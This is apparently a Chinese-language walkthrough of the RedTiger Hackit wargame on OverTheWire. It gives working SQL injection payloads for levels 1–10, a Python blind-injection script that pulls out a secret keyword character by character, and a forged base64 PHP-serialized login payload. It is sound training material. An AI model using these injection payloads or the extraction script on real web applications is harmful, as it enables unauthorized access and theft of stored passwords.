Redtiger Hackit Write up

Level1 (Simple-injection)

需要得到 Hornoxepassword ,题目提示了所在的表名 level_users

测试 cat 参数,通过ORDER BY 测试得到 4 个字段,通过 UNION SELECT 测试,可以在第3,4字段输出 password ,构造如下Payload:

https://redtiger.labs.overthewire.org/level1.php?cat=-1 UNION SELECT 1,2,password,4 FROM level1_users -- a

####Level2(Simple login-bypass)

绕过登录验证

分别测试 UsernamePassword ,在 Username 尝试 1\' or \'1\'=1\'1\' or \'1\'=\'1\' -- a 失败,然后在 password 尝试万能密码 1\' or \'1\'=\'1 成功

####Level3 (Get an error)

提示去得到一个错误,和表名 level3_users

usr 后面插入 [] 会得到给出的错误提示:

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 25

根据这个提示,找到加密的 php代码,之后便用它来处理Payload,测试字段数,回显字段,构造提取 password 的Payload:

\' AND \'1\'=\'2\' UNION SELECT 1,2,3,4,5,6,password FROM level3_users WHERE username=\'Admin\' --a

####Level4 (Blind injection)

题目提示了盲注,测试 id 参数,为 1 的时候,提示Query returned 1 rows ,为 其他值的时候 Query returned 0 rows

通过 https://redtiger.labs.overthewire.org/level4.php?id=0%2bif((length(keyword)=21),1,0) ,确认 keyword ,长度为 21

那么附上 .py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

def exploit(param):
url = \"https://redtiger.labs.overthewire.org/level4.php?id=\"
cookie = {\'level4login\':\'there_is_no_bug\'}
url = url + param

s = requests.get(url, cookies = cookie)
check = s.text[190:220]

if check.find(\"Query returned 1 rows\") > 0:
return 1
else:
return 0

flag = \"\"
#打印字符ascii 32-126
for i in range(1,22):
f = 32
e = 126
while(f < e):
m = int((f + e) / 2)
if exploit(\"0%2Bif((substring(keyword,\"+str(i)+\",1)=\'\"+chr(m)+\"\'),1,0)\"):
flag = flag + chr(m)
break
elif exploit(\"0%2Bif((substring(keyword,\"+str(i)+\",1)<\'\"+chr(m)+\"\'),1,0)\"):
e = m - 1
else :
f = m + 1
if (f == e):
flag = flag + chr(f)
print(\"Flag:\"+flag)

####Level5 (Advanced login-bypass)

提示 非盲注,密码用MD5加密,查看错误。记得在 之前Wechall遇到过类似的题

USER NOT FOUND

Some things are disabled!!

Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /var/www/html/hackit/level5.php on line 46

UNION SELECT 测试出 2 个字段,构造Payload:

Username:\' UNION SELECT 1,MD5(\'1\') -- aPassword:1

####leve6

照旧在 user 测试出有 5 个字段

然后测试回显0 UNION SELECT 1,2,3,4,5 -- a 或者 0 UNION SELECT 1,2,3,4,5 FROM level6_users WHERE status=1 -- a 提示 User not found

依次在每个字段测 username 发现只有在第2个字段时,显示 admin 的信息,在其他字段测试 password 却始终显示不出来

那么推测,后端的是查询了两次,利用第一次查询出的 username 作为下一次的查询条件,来查询出 Email ,那么构造Payload:

0 UNION SELECT 1,\' UNION SELECT 1,username,3,password,5 FROM level6_users WHERE status=1 -- a,3,4,5 -- a

但还是报错,估计是因为引号的问题,那么就用十六进制的方式绕过,构造最终的Payload:

0 UNION SELECT 1,0x2720554e494f4e2053454c45435420312c757365726e616d652c332c70617373776f72642c352046524f4d206c6576656c365f7573657273205748455245207374617475733d31202d2d2061,3,4,5 -- a

Level7

在搜索框输入单引号 \' 会报错,显示出了执行的查询语句 SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE \'%google\'%\' OR text.title LIKE \'%google\'%\')

输入一个字母 a 并搜索,发现有4篇文章, google 在第3个,推测其 id 为 3

通过 8%\') union select *,\'2\',\'3\' from level7_news where id=3 AND (\'%\'=\' ,发现后面两个字段可以返回数据。

接下来就是构造Payload, 只要让之前的查询返回空就好,从而执行后面构造的查询。

8%\') union select \'1\',\'2\',news.* from level7_news news,level7_texts text where news.id=3 AND (\'%\'=\'

Level8

测试四个参数,发现只有在 Email 处会有报错出现,注意到编辑功能的SQL语句类似于

UPDATE table_name SET Email=\'$Email\',Name=\'$Name\',ICQ=\'$ICQ\',Age=\'$Age\' WHERE id=1

构造Payload:

Email: \', Email=password,name=\'

Level9

一个留言板界面,测试三个参数,发现在 text 框有报错,考虑到SQL语句:

INSERT INTO level9_users COLUMNS (name,title,text) VALUES (\'$name\',\'$title\',\'$text\')

可以让它插入两行数据,构造如下Payload:

\'), ((SELECT username FROM level9_users LiMIT 1),(SELECT password FROM level9_users LIMIT 1),\'1

Level10

打开后只有登录按钮,按 F12 检查元素,发现 Form 表单有一个隐藏的输入框,去掉 hidden 属性,发现是一串乱码,Base64 解码一下,发现是经过 PHP 序列化后的数组,修改 usernameadminpasswordture 经过经过序列化,Base64 编码。得到Payload

1
2
3
serialize: a:2:{s:8:\"username\";s:9:\"TheMaster\";s:8:\"password\";b:1;}

base64: YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=